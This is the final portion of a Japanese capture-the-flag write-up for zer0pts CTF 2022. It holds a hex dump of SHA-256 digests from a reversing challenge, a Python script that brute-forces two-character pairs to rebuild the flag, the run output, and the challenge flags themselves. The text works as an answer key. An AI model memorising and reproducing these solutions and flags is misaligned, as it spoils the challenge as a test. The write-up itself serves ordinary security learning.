12h, 8Fh, 0D2h, 10h, 0Bh, 7Ah, 68h, 0DBh, 0F7h, 3Dh
3, 0D3h, 0A5h, 10h, 7Eh, 0DAh, 0D3h, 0B0h, 56h, 76h
0EEh, 0E2h, 40h, 0E6h, 8Ch, 28h, 2, 96h, 0E5h, 2Bh
69h, 86h, 87h, 3Ch, 54h, 0CEh, 0F3h, 0CBh, 0C1h, 81h
8Dh, 58h, 0Dh, 8Ch, 8Bh, 0C1h, 11h, 30h, 2Fh, 4Ah, 5Eh
69h, 3, 0EFh, 2Dh, 32h, 0B1h, 1Ah, 56h, 13h, 0EFh, 0BAh
50h, 76h, 93h, 0DEh, 80h, 60h, 0FBh, 8Ch, 44h, 0ADh
63h, 0F6h, 0Ah, 0F0h, 0F6h, 0DBh, 6Fh, 0DDh, 0E6h, 0D5h
18h, 6Eh, 0F7h, 81h, 76h, 36h, 7Dh, 0F2h, 61h, 0FAh
6, 0BEh, 30h, 79h, 0B6h, 0C8h, 0Ch, 8Ah, 0DBh, 0A4h
46h, 0C9h, 0E2h, 20h, 99h, 0EEh, 4Bh, 0FEh, 54h, 0A9h
9Ah, 3Ch, 0DBh, 0AFh, 69h, 0F1h, 7Fh, 7Ch, 6Eh, 25h
81h, 0B9h, 2Fh, 7Bh, 0ABh, 25h, 12h, 8Fh, 0D2h, 10h
0Bh, 7Ah, 5Eh, 7, 0D6h, 0FDh, 0C6h, 2, 0B0h, 0F9h, 0B9h
9Fh, 6Eh, 0A2h, 4Ch, 39h, 0E6h, 58h, 35h, 99h, 2Fh
0AAh, 0C4h, 0, 26h, 4Ch, 52h, 44h, 9Bh, 0C4h, 9, 0CFh
4Eh, 0FAh, 0E4h, 0DCh, 0D6h, 0D3h, 13h, 0AFh, 71h, 55h
95h, 96h, 0D3h, 0, 9Ch, 12h, 0D0h, 25h, 30h, 18h, 42h
0D8h, 0C7h, 0F8h, 88h, 0C2h, 85h, 3, 33h, 0E9h, 1Ah
9Bh, 0DAh, 68h, 0FFh, 0FDh, 0FFh, 4Bh, 7, 0A9h, 0D9h
73h, 0FDh, 1Ch, 3Ah, 6Bh, 0E4h, 43h, 85h, 1Bh, 0C1h
3Eh, 82h, 0C4h, 0AFh, 94h, 0C8h, 83h, 25h, 24h, 46h
94h, 0E3h, 52h, 0AAh, 31h, 3Fh, 0FFh, 0D0h, 18h, 0D2h
22h, 30h, 20h, 0BEh, 85h, 67h, 0Dh, 93h, 0F5h, 65h
0B6h, 3Dh, 0F5h, 4Ah, 9Ch, 0E3h, 0EDh, 2Ch, 0DFh, 63h
47h, 0A6h, 1Dh, 0F0h, 16h, 93h, 8Ch, 0B2h, 94h, 18h
52h, 28h, 25h, 62h, 0CCh, 3Dh, 81h, 3Eh, 8Bh, 0F1h
70h, 5Dh, 4, 80h, 0A7h, 0A0h, 8, 0FFh, 0A2h, 47h, 55h
1, 0D7h, 0C5h, 16h, 11h, 65h, 0A7h, 0FBh, 63h, 5Ch
0A7h, 3Dh, 0, 0D4h, 0F2h, 8Bh, 5Fh, 57h, 3Bh, 16h, 0EEh
0A5h, 6Eh, 9Eh, 45h, 79h, 0D7h, 7Eh, 56h, 1Ch, 32h
0AAh, 68h, 18h, 9Dh, 97h, 69h, 0FAh, 17h, 53h, 0A4h
0D0h, 0EFh, 23h, 16h, 1Bh, 5Bh, 7Ch, 6Ah, 8Dh, 5Bh
28h, 75h, 43h, 0FDh, 74h, 0E1h, 6Bh, 3Bh, 0F3h, 13h
0D7h, 1Ah, 0A1h, 87h, 0C2h, 4Ch, 0DDh, 72h, 8Ah, 7Bh
1Eh, 0E0h, 0B9h, 0A8h, 79h, 9Fh, 32h, 45h, 3Ah, 47h
8Ch, 91h, 22h, 0F8h, 0B8h, 3Ch, 0EEh, 68h, 0E1h, 6Dh
0B1h, 8Fh, 49h, 3Ah, 0C8h, 1Bh, 0C1h, 0D4h, 74h, 59h
4Bh, 5Dh, 0F4h, 56h, 49h, 99h, 0CBh, 0BFh, 0EAh, 80h
17h, 0Bh, 0A0h, 68h, 0DCh, 0F9h, 61h, 0D9h, 91h, 46h
25h, 0F3h, 0BEh, 95h, 1Bh, 2Ch, 1Fh, 0E1h, 63h, 0BAh
0E0h, 0F8h, 15h, 6Ch, 24h, 4Ah, 44h, 0DCh, 15h, 36h
42h, 4, 0A8h, 0Fh, 0E8h, 0Eh, 90h, 39h, 45h, 5Ch, 0C1h
60h, 82h, 81h, 82h, 0Fh, 0E2h, 0B2h, 4Fh, 1Eh, 52h
33h, 0ADh, 0E6h, 0AFh, 1Dh, 0D5h, 0E9h, 17h, 87h, 6
8Ah, 3Ch, 60h, 0E9h, 71h, 2Ah, 7Ah, 0BEh, 0B6h, 0A6h
7Fh, 51h, 8Ah, 40h, 72h, 3Ch, 1Bh, 89h, 0C1h, 1Dh, 60h
70h, 0FEh, 5Fh, 93h, 89h, 0EBh, 0F9h, 7Eh, 0B7h, 2
57h, 59h, 3Dh, 0A0h, 6Fh, 68h, 2Ah, 3Dh, 0DDh, 0A5h
4Ah, 9Dh, 26h, 0Dh, 4Fh, 0C5h, 14h, 0F6h, 45h, 23h
7Fh, 5Ch, 0A7h, 4Bh, 8, 0F8h, 0DAh, 61h, 0A6h, 96h
0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh, 0EEh, 93h
0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh, 0A3h, 5Dh
0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah, 9, 0CFh, 0C7h
96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh, 0EEh
93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh, 0A3h
5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah, 9, 0CFh
0C7h, 96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h, 0C6h, 7Bh
0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h, 0F0h, 0DAh
0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h, 63h, 0Ah
9, 0CFh, 0C7h, 96h, 0A2h, 96h, 0D2h, 24h, 0F2h, 85h
0C6h, 7Bh, 0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h, 91h, 57h
0F0h, 0DAh, 0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h, 0Bh, 78h
63h, 0Ah, 9, 0CFh, 0C7h, 96h, 0A2h, 96h, 0D2h, 24h
0F2h, 85h, 0C6h, 7Bh, 0EEh, 93h, 0C3h, 0Fh, 8Ah, 30h
91h, 57h, 0F0h, 0DAh, 0A3h, 5Dh, 0C5h, 0B8h, 7Eh, 41h
"""
# 多分 0Bh, 78h, 63h, 0Ah, 9, 0CFh, 0C7h, 20h dup(0) は使わないはず……

sha256_digests = bytearray()
for line in expected_hash_text.strip().split("\n"):
    for elem in line.split(", "):
        if elem[-1] == "h":
            elem = elem[:-1]
        sha256_digests.append(int("0x" + elem, 16))
print(f"{len(sha256_digests)=}")

def search(index):
    flag_range = range(0x20, 0x7F) # flag文字列の後には"\x00\x00"のSHA256ハッシュ値があるみたいです
    expected = sha256_digests[index*32:(index+1)*32]
    for a in flag_range:
        for b in flag_range:
            ab = chr(a)+chr(b)
            h = hashlib.sha256(ab.encode()).digest()
            assert len(expected) == len(h)
            if expected == h:
                return ab
    raise Exception(f"Not found in {index}!")

for i in range(32):
    print(search(i), end="")

実行しました:

$ ./solve.py
len(sha256_digests)=1017
zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}Traceback (most recent call last):
  File "./solve.py", line 132, in <module>
    print(search(i), end="")
  File "./solve.py", line 129, in search
    raise Exception(f"Not found in {index}!")
Exception: Not found in 26!
$

例外が発生しましたが、ともかくフラグを入手できました: zer0pts{m0d1fy1ng_PE_1mp0rts_1s_4n_34sy_0bfusc4t10n}

[survey] survey (66 points, 270 solves)

Please answer the survey for the flag. The more detailed your feedback is, the happier the organizers will be.

問題文中の一部にGoogle FormへのURLが貼られています。アンケートに回答しました:

zer0pts CTF 2022 - Survey
Thank you for your feedback! We hope you enjoyed the CTF :-) zer0pts{4r1g4t0_f0r_pl4y1ng_zer0pts_CTF!}

フラグを入手できました: zer0pts{4r1g4t0_f0r_pl4y1ng_zer0pts_CTF!}

感想

  • warmupで精一杯でした!難しかったです!
  • けれどもwarmupは全て解けたので満足です。pwnも出来たのは嬉しいです。
  • rev問題でインポートテーブルを書き換えるバイナリが出てきたことに驚きました。